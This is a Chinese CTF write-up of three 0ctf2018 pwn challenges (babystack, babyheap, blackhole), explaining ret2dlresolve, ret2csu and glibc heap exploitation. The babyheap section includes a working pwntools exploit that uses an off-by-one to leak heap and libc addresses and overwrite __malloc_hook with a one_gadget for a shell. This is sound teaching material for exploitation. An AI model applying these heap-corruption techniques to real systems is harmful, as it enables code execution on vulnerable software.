0ctf2018 babystack、babyheap、blackhole解析

0ctf2018 babystack writeup

赛题链接

https://github.com/eternalsakura/ctf_pwn/tree/master/0ctf2018/babystack

前置技能

ret2dl in x86

没有能用来leak的漏洞。 如下面的代码,除了明显的栈溢出,没有可以用来leak内存布局,bypass aslr的函数。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulfunc()
{
    char sbuf[10];
    read(0, sbuf, 60);
}

int main()
{
    vulfunc();
    exit(0);
    return 0;
}

本来想写一下原理的,不过其他资料已经讲得非常好了,实在没什么可补充的(其实是我还不怎么懂)。

https://www.slideshare.net/AngelBoy1/re2dlresolve

http://www.inforsec.org/wp/wp-content/uploads/2016/01/sec15-paper-di-frederico.pdf

http://skysider.com/?p=416

学习过程中最好找个程序,然后对着_dl_runtime_resolve源码服用,效果更佳,然后再看图就思路清晰了。

分析

alarm用keypatch先nop掉

可以看出有很明显的栈溢出漏洞,但是只有一个read,没有可以用来leak的函数,所以用ret2dl的解法

利用

利用思路

  1. 通过栈溢出来调用read函数在bss段写我们需要的结构和/bin/sh
  2. 然后使用dlresolvecall去调用system,得到shell。

getshell

https://github.com/eternalsakura/ctf_pwn/blob/master/0ctf2018/babystack/exp.py

其他

ret2dl方法是hook师傅教我的,我也没全看懂,只是理解了基本思路后,整个过程用roputils工具来实现的,工具我放在了我的github( https://github.com/eternalsakura/ctf_pwn/blob/master/roputils.py )上。 依然不懂怎么手工构造,而且程序再换成64位也就不会,还要学习一下。

0ctf2018 babyheap writeup

赛题链接

https://github.com/eternalsakura/ctf_pwn/blob/master/0ctf2018/babyheap.tar.gz

前置知识

  • fastbin attack
  • off-by-one
  • overlap
  • 熟悉mallocstate即mainarena,即知道main_arena是存储在libc.so的一个数据段。
struct malloc_state {
    /* Serialize access.  */
    __libc_lock_define(, mutex);

    /* Flags (formerly in max_fast).  */
    int flags;

    /* Fastbins */
    mfastbinptr fastbinsY[ NFASTBINS ];

    /* Base of the topmost chunk -- not otherwise kept in a bin */
    mchunkptr top;

    /* The remainder from the most recent split of a small request */
    mchunkptr last_remainder;

    /* Normal bins packed as described above */
    mchunkptr bins[ NBINS * 2 - 2 ];

    /* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
    unsigned int binmap[ BINMAPSIZE ];

    /* Linked list, points to the next arena */
    struct malloc_state *next;

    /* Linked list for free arenas.  Access to this field is serialized
       by free_list_lock in arena.c.  */
    struct malloc_state *next_free;

    /* Number of threads attached to this arena.  0 if the arena is on
       the free list.  Access to this field is serialized by
       free_list_lock in arena.c.  */
    INTERNAL_SIZE_T attached_threads;

    /* Memory allocated from the system in this arena.  */
    INTERNAL_SIZE_T system_mem;
    INTERNAL_SIZE_T max_system_mem;
};

分析

checksec

sakura@sakuradeMBP:~$ checksec /Users/sakura/Desktop/0ctf/babyheap-1/babyheap
[*] '/Users/sakura/Desktop/0ctf/babyheap-1/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序分析

典型的菜单程序

比较特别的是存放堆指针的全局变量不再放在bss段,而是随机mmap了一段空间出来存放。

添加

修改

删除

查看

漏洞分析

在修改函数里存在一个off-by-one漏洞,可以用来溢出修改相邻chunk的prev_size或者size. 测试:

from pwn import *
def  alloc(size,nowait=False):  
    p.recvuntil('Command: ')
    p.sendline('1') 
    p.recvuntil('Size: ')       
    p.sendline(str(size))

    if nowait:
        return
    res = p.recvuntil('Allocated\n')    
    return int(res.split()[1])

def  update(idx,content,size=0):
    size = size if size else len(content)
    content = content.ljust(size,"\x00")    
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.sendline(content)

def  delete(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))    

def view(idx):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil(']: ')
    return p.recvuntil('1. Allocate')

p = process('./babyheap')
context.log_level = 'debug'
a  = alloc(0x28)
b  = alloc(0x20)
update(a,'A'*0x28 + chr(0x41))
gdb.attach(p)
raw_input('x')

如图:

这里要注意一点就是我把分配的chunk修改一下

a  = alloc(0x20)
b  = alloc(0x20)

可以看出这样就修改到了下一个chunk的prev_size,之所以分配0x28和分配0x20都得到大小为0x30的chunk,是因为chunk的空间复用,如果当前chunk正在使用中,没有被free掉,那么相邻chunk的prev_size域是无效的,可以被前一个chunk使用。

利用

利用思路

leak heap

申请多个chunk,通过off-by-one改变其中一个chunk的size,使其包含两个chunk,即overlap。

然后在这个大chunk里伪造fastbin chunk B.

然后申请一个和其大小一致的fastbin chunk A,依次释放A和B。

则fastbin:B->A, B的fd就存放着A的堆地址,通过打印大chunk的内容,将其中存放着的小chunk打印出来,从而得到堆地址。

meh  = alloc(0x10) #0
ovf  = alloc(0x28) #1,为了能够溢出修改到相邻chunk的size
vic  = alloc(0x20) #2
fake = alloc(0x20) #3
alloc(0x20) #4
update(ovf,'a'*0x28 + chr(0x51)) #2的size被修改为0x51,从而将3包括在内,overlapping!
update(fake,p64(-1,sign='signed')+p64(-1,sign='signed')+p64(0)+p64(0x21))
delete(vic) #2被free,且将3包含在内
bigass = alloc(0x40) #将2再申请出来,此时的2为
'''
pwndbg> x /20gx 0x555555757050
index 2->0x555555757050:    0x6161616161616161  0x0000000000000051->size
         0x555555757060:    0x0000000000000000  0x0000000000000000
         0x555555757070:    0x0000000000000000  0x0000000000000000
index 3->0x555555757080:    0x0000000000000000  0x0000000000000000
         0x555555757090:    0x0000000000000000  0x0000000000000000

'''
update(bigass,'a'*0x20 + p64(0)+p64(0x21))# 在3伪造chunk,size为0x21
'''
index 3->0x555555757080:    0x0000000000000000  0x0000000000000021
         0x555555757090:    0x0000000000000000  0x0000000000000000
'''
delete(meh) #free 0
delete(fake) ## free 3
'''
fastbin:
0x20:fake(3)->meh(0)
'''
heap = u64(view(bigass)[0x30:][:8])# show 2,此时的chunk2,[0x30:][:8]即meh(0)的堆地址
log.info('[*]heap address:'+hex(heap))     #因为meh是第一个分配的chunk,所以它的地址就是heap基地址。
...
...
...
alloc chunk:
0
alloc chunk:
1
alloc chunk:
2
alloc chunk:
3
alloc chunk:
4
update chunk:
1
update chunk:
3
delete chunk
2
alloc chunk:
2
update chunk:
2
delete chunk
0
delete chunk
3
view chunk
2
[*] [*]heap address:0x5607a100f000

leak libc

修改3的大小为超出fastbin范围的small bin的大小,将其free,则其fd和bk都指向main_arena,而main_arena在libc上,减去偏移就得到libc基地址。

fake = alloc(0x10)#再将3申请出来,此时它的内容清空。
'''
fastbin:
0x20:meh(0)
'''
update(bigass,'a'*0x20 + p64(0)+p64(0xd1))  #change fake size to 0xd1
'''
pwndbg> x /20gx 0x555555757050
index 2:
0x555555757050:    0x6161616161616161  0x0000000000000051
0x555555757060:    0x6161616161616161  0x6161616161616161
0x555555757070:    0x6161616161616161  0x6161616161616161
index 3:
0x555555757080:    0x0000000000000000  0x00000000000000d1->size
0x555555757090:    0x0000000000000000  0x0000000000000000
------------------------------------------------------------------
0x5555557570a0:    0x0000000000000000  0x0000000000000021
0x5555557570b0:    0x0000000000000000  0x0000000000000031
0x5555557570c0:    0x0000000000000000  0x0000000000000000
0x5555557570d0:    0x0000000000000000  0x0000000000000000
0x5555557570e0:    0x0000000000000000  0x0000000000020f21
'''
alloc(88,nowait=True)
xx = alloc(88)
update(xx,p64(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x21))
'''
pwndbg> x /50gx 0x555555757080
0x555555757080:    0x0000000000000000  0x00000000000000d1->size
0x555555757090:    0x0000000000000000  0x0000000000000000
0x5555557570a0:    0x0000000000000000  0x0000000000000021
0x5555557570b0:    0x0000000000000000  0x0000000000000031
0x5555557570c0:    0x0000000000000000  0x0000000000000000
0x5555557570d0:    0x0000000000000000  0x0000000000000000
0x5555557570e0:    0x0000000000000000  0x0000000000000061
0x5555557570f0:    0x0000000000000000  0x0000000000000000
0x555555757100:    0x0000000000000000  0x0000000000000000
0x555555757110:    0x0000000000000000  0x0000000000000000
0x555555757120:    0x0000000000000000  0x0000000000000000
0x555555757130:    0x0000000000000000  0x0000000000000000
0x555555757140:    0x0000000000000000  0x0000000000000061
0x555555757150:    0x0000000000000000  0x0000000000000021
0x555555757160:    0x0000000000000000  0x0000000000000000
0x555555757170:    0x0000000000000000  0x0000000000000021
0x555555757180:    0x0000000000000000  0x0000000000000000
0x555555757190:    0x0000000000000000  0x0000000000000000
0x5555557571a0:    0x0000000000000000  0x0000000000020e61
0x5555557571b0:    0x0000000000000000  0x0000000000000000
'''  
delete(fake) # 此时fake的大小属于small chunk,free后被添加到unsort bins, fd和bk指针指向libc上unsort bins的地址.

main_arena = u64(view(bigass)[0x30:][:8]) - 88     #compute main_arena  header addr
log.info('[*]main_arena address:'+hex(main_arena))
libc = main_arena -0x399b00 #需要用main_arena减去它在libc中的偏移才能得到libc基地址
# 这个偏移可以通过关闭aslr,cat /proc/pid/maps,查看libc的基地址,然后用leak出来main_arena减去这个基地址就得到了偏移。
log.info('[*]libc address:'+hex(libc))
...
...
...
alloc chunk:
0
update chunk:
2
alloc chunk:
5
update chunk:
5
delete chunk
0
view chunk
2
[*] [*]main_arena address:0x7f1c45ddab00
[*] [*]libc address:0x7f1c45a41000

修改topchunk,覆盖mallochook为one_gadaget

通过改fastbin的fd,从而使得下一次分配的chunk到我们指定的地址(这里是top_chunk上方)。

然后修改top_chunk到malloc_hook上方,使得chunk的分配从malloc_chunk的上方附近开始进行。

于是下一次分配就分配到malloc_hook上方,从而可以覆盖malloc_hook为one_gadaget

fake_chunk2 = main_arena - 0x33 #在malloc_hook上方附近的地址
fake_chunk  = main_arena + 32 + 5 #用来绕过对fd的size大小的检查 
fake = alloc(0x48) #将fake从unsorted bin申请出来

xx = alloc(0x58) #free后,在fastbin占位,用来绕过对fd的size大小的检查 

delete(xx) #free后,在fastbin占位,用来绕过对fd的size大小的检查 
delete(fake)
'''
fastbin:
0x50: fake 
0x60: xx 
'''
update(bigass,'a'*0x20 + p64(0)+p64(0x51)+p64(fake_chunk)) # 修改2,将3的fd指向main_arena + 32 + 5
'''
fastbin:
0x50: fake --> main_arena + 32 + 5
0x60: xx 
'''
# print hex(fake_chunk),hex(fake_chunk2)
alloc(0x48) #将fastbin中的fake再分配出来
arena = alloc(0x48)    #alloc main_arena + 32 + 5
print arena

需要注意的是main_arena + 32 + 5是什么?

还记得我们之前分配并free的xx = alloc(0x58)么?它在fastbin占位,于是它的地址的第一个字节,如图,0x55,正好可以帮我们绕过对于分配fastbin时,对size的验证。

这里顺便提一下这个验证:

在malloc时会进行一个校验,当size是fastbin的情况下,如果从fastbin取出的第一块chunk的(unsigned long)size不属于该fastbin中的时候就会发生memory corruption(fast)错误。

主要检查方式是根据malloc的bytes大小取得index后,到对应的fastbin去找,取出第一块后检查该chunk的size是否属于该fastbin。

于是我们的chunk就被分配到了这里!

update(arena,"\x00"*3 + "\x00"*32 + p64(fake_chunk2))     
# 修改top_chunk为fake_chunk2   用\x00填充fastbins,于是下一次分配将会从我们伪造的top_chunk(fake_chunk2)开始.
# 而伪造的top_chunk刚好就在malloc_hook的上方附近。
winit = alloc(0x48)    #从伪造的top_chunk开始分配,从而得到malloc_hook上方的空间的chunk
update(winit,"\x00"*3 + "\x00"*16 + p64(libc + 0x3f35a)) #覆盖__malloc_hook到one_gadget
alloc(0x10,nowait=True) # 触发one_gadget来getshell
struct malloc_state
{
  ...
  ...
  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;
  ...
  ...
};

注意到我们开始就说过的malloc_state,也就是main_arena它的结构体,可以看到top就在fastbin数组的下面,所以我们malloc出了fastbin数组附近之后,就可以覆盖修改top_chunk了。

将top_chunk修改为main_arena-0x33,如图,就在malloc_hook上方。

接着就可以分配出这块空间,并且对其修改,覆盖__malloc_hook到one_gadget

顺便提一句,寻找one_gadaget可以参考这篇文章(http://bestwing.me/2016/12/30/one-gadget-rce/)

exp

https://github.com/eternalsakura/ctf_pwn/blob/master/0ctf2018/babyheap/exp.py

0ctf2018 blackhole writeup

题目链接

https://github.com/eternalsakura/ctf_pwn/blob/master/0ctf2018/blackhole.tar.gz

前置技能

  • ret2csu 这是blackhat2018的新议题,slide如下: https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf

分析

这题和babystack是一样的,除了变成了64位,也是完全没有可以用来输出的函数。

而且,这题还设置了沙箱,限制了能够执行的系统调用为mprotect/read/write/exit。

所以说没办法getshell,只能一点一点的把flag给“注入”出来。

思路是先弄出一个syscall gadget,调一下mprotect,读进来shellcode就可以随便操作了。

sc逻辑的话,就把flag读进来,然后一个bit一个bit去爆破..

相当于sql盲注那样..可以构造个if flag[x]=='a' sleep else exit..这样

另外,要想要调用系统调用,可以通过在got表地址里面写掉一个低Byte,从而可以跳转到附近的函数去,这里就是系统调用,如图。

原文发布于微信公众号 - ChaMd5安全团队(chamd5sec)

原文发表时间:2018-04-11

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏前端达人

JavaScript基础——回调(callback)是什么

上篇文章《JavaScript基础——你真的了解JavaScript吗?》,我们明白了JavaScript是一个单线程、非阻塞、异步、解释性语言,清楚了什么是单...

25370
来自专栏owent

C++又一坑:动态链接库中的全局变量

前几天我们项目的日志系统出现了一点问题,但是一直没有时间去深究。 昨天在同事的帮助下,无意中猜了一种可能性,结果还真被我猜中了,于是今天就特别研究了一下,记录...

26130
来自专栏AI星球

Eclipse中使用JUnit4进行单元测试(整合篇)

我们在编写大型程序的时候,需要写成千上万个方法或函数,这些函数的功能可能很强大,但我们在程序中只用到该函数的一小部分功能,并且经过调试可以确定,这一小部分功能是...

20720
来自专栏美团技术团队

Node.js Stream - 基础篇

背景 在构建较复杂的系统时,通常将其拆解为功能独立的若干部分。这些部分的接口遵循一定的规范,通过某种方式相连,以共同完成较复杂的任务。譬如,shell通过管道|...

40150
来自专栏黑泽君的专栏

day11_JSP+EL+JSTL学习笔记

    JSP全称是Java Server Pages,它和servle技术一样,都是SUN公司定义的一种用于开发动态web资源的技术。

18310
来自专栏大史住在大前端

webpack4.0各个击破(5)—— Module篇

使用webpack对脚本进行合并是非常方便的,因为webpack实现了对各种不同模块规范的兼容处理,对前端开发者来说,理解这种实现方式比学习如何配置webpac...

13720
来自专栏FreeBuf

缓冲区溢出攻击初学者手册(更新版)

说明 之前版本翻译质量不佳,本人赵阳在这里对本文的读者表示深深的歉意。由于本人的疏忽和大意导致您不能很好的读完这篇文章,同时也对原文内容进行了破坏,也对IDF和...

30290
来自专栏Java架构

阿里、华为、腾讯、京东、百度Java技术面试题精选

36860
来自专栏JackeyGao的博客

用户Python3解析超大的csv文件

我在日前获得一个任务,为了做分析, 从一个超大的csv文件中解析email地址和对应的日期时间戳然后插入到数据库中. 我知道有其他工具可以方便的完成我的工作(比...

11120
来自专栏Java职业技术分享

老师,Spring 是怎么解决循环依赖的?

循环依赖其实就是循环引用,也就是两个或则两个以上的bean互相持有对方,最终形成闭环。比如A依赖于B,B依赖于C,C又依赖于A。如下图:

17600

扫码关注云+社区

领取腾讯云代金券